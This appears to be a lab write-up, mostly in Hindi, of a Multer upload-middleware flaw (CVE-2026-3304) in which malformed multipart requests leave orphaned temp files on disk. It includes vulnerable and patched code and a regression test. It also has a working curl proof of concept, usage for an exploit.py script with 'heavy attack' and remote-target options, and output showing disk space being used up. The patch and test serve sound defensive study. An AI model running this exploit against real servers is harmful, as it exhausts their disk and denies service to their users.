[पार्सिंग इवेंट अनुक्रम — कमजोर संस्करण]

1. भाग 1 हेडर प्राप्त हुआ
   → fileFilter(req, file, cb) कहा गया
   → setImmediate(cb) → कॉलबैक अगले इवेंट लूप टिक पर स्थगित

2. भाग 1 बॉडी प्राप्त हुई
   → /tmp/uploads/<uuid> खोला गया, डेटा लिखा जाना शुरू

3. भाग 2 हेडर प्राप्त हुआ (name विशेषता गायब)
   → Multer 'name missing' का पता लगाता है
   → errorOccured = true  ← त्रुटि फ़्लैग सेट
   → abortWithCode('LIMIT_FIELD_KEY') कहा गया → HTTP 500 निर्धारित

4. setImmediate कॉलबैक फायर होता है (अगला इवेंट लूप टिक)
   → fileFilter परिणाम: includeFile = true (सामान्य प्रवाह)
   → [BUG] errorOccured फ़्लैग की जाँच नहीं की गई
   → storage._handleFile() कहा गया → अस्थायी फ़ाइल डिस्क पर प्रतिबद्ध

5. HTTP 500 प्रतिक्रिया भेजी गई
   → अस्थायी फ़ाइल डिस्क पर बनी रहती है (अनाथ फ़ाइल)

// fileFilter पूर्णता कॉलबैक (setImmediate के माध्यम से स्थगित)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ errorOccured की यहाँ कभी जाँच नहीं की गई
  //    भले ही भाग 2 को पार्स करते समय त्रुटि सेट की गई हो, निष्पादन जारी रहता है
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // अस्थायी फ़ाइल uploadedFiles में पंजीकृत है और डिस्क पर छोड़ दी गई है
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

// fileFilter पूर्णता कॉलबैक (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [PATCH] आगे बढ़ने से पहले errorOccured जाँचें
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // स्ट्रीम खाली करें — डिस्क पर कोई फ़ाइल नहीं लिखी गई
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('async fileFilter cleanup', function () {
  it('does not leave orphan files when request aborts with missing field name', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Vulnerability trigger: async fileFilter via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Error handler: respond with 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Malicious body: Part 1 valid, Part 2 missing name attribute
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= missing
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: server must respond with 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: no orphaned files must remain on disk
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})

// app/server.js — पैच परीक्षण के भेद्यता ट्रिगर को दोहराता है
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← कॉलबैक स्थगित करता है, रेस कंडीशन बनाता है
      cb(null, true)
    })
  }
})

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<binary data>
------Boundary--

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← भाग 1: मान्य, अस्थायी फ़ाइल यहां बनाई गई
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← भाग 2: name= गायब!
Content-Type: application/octet-stream

x
------Boundary--

1. भाग 1 आता है  →  Multer /tmp/uploads/<uuid> खोलता है और लिखना शुरू करता है
2. fileFilter setImmediate के साथ कहा जाता है  →  कॉलबैक स्थगित
3. भाग 2 आता है  →  Multer गायब name का पता लगाता है  →  errorOccured = true
4. setImmediate फायर होता है  →  fileFilter कॉलबैक चलता है
5. [BUG] errorOccured जाँच नहीं की गई  →  storage._handleFile कहा जाता है
6. अस्थायी फ़ाइल डिस्क पर लिखी जाती है
7. HTTP 500 लौटाया जाता है
8. /tmp/uploads/<uuid> हमेशा के लिए डिस्क पर रहता है  ← अनाथ फ़ाइल

HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

curl http://localhost:3000/status

# कमजोर (पोर्ट 3000) + पैच किया गया (पोर्ट 3001) सर्वर प्रारंभ करें
docker compose up -d --build

# दोनों चल रहे हैं सत्यापित करें
curl http://localhost:3000/status
curl http://localhost:3001/status

bash exploit/curl_poc.sh

# डिफ़ॉल्ट (50 अनुरोध)
python3 exploit/exploit.py

# भारी हमला (500 अनुरोध, प्रत्येक 5 KB पेलोड)
python3 exploit/exploit.py --count 500 --size 5120

# स्व-हस्ताक्षरित प्रमाणपत्र के साथ HTTPS लक्ष्य के खिलाफ
python3 exploit/exploit.py --target https://target.example.com --no-verify

# पैच किए गए संस्करण के खिलाफ तुलना करें
python3 exploit/exploit.py --target http://localhost:3001 --count 50

bash exploit/monitor.sh

curl -X DELETE http://localhost:3000/reset

[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50  |  Delay: 0.0s  |  Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0

[  10/50] 500 response: True | orphaned files: 10  | disk: 20.00 KB
[  20/50] 500 response: True | orphaned files: 20  | disk: 40.00 KB
[  30/50] 500 response: True | orphaned files: 30  | disk: 60.00 KB
[  40/50] 500 response: True | orphaned files: 40  | disk: 80.00 KB
[  50/50] 500 response: True | orphaned files: 50  | disk: 100.00 KB

============================================================
[Result] Total requests: 50  |  Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted:    100.00 KB

[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)

$ docker exec cve-2026-3304-target df -h /tmp/uploads

Before attack:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

After 200 requests × 5 KB:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

Run 1:  orphaned files   0  ->  50   (100 KB)
Run 2:  orphaned files  50  -> 100   (200 KB)
        ↑ files from run 1 still present — never cleaned up

[  10/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  20/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  30/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  40/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  50/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB

[*] No orphaned files — patched version cleans up correctly

docker compose down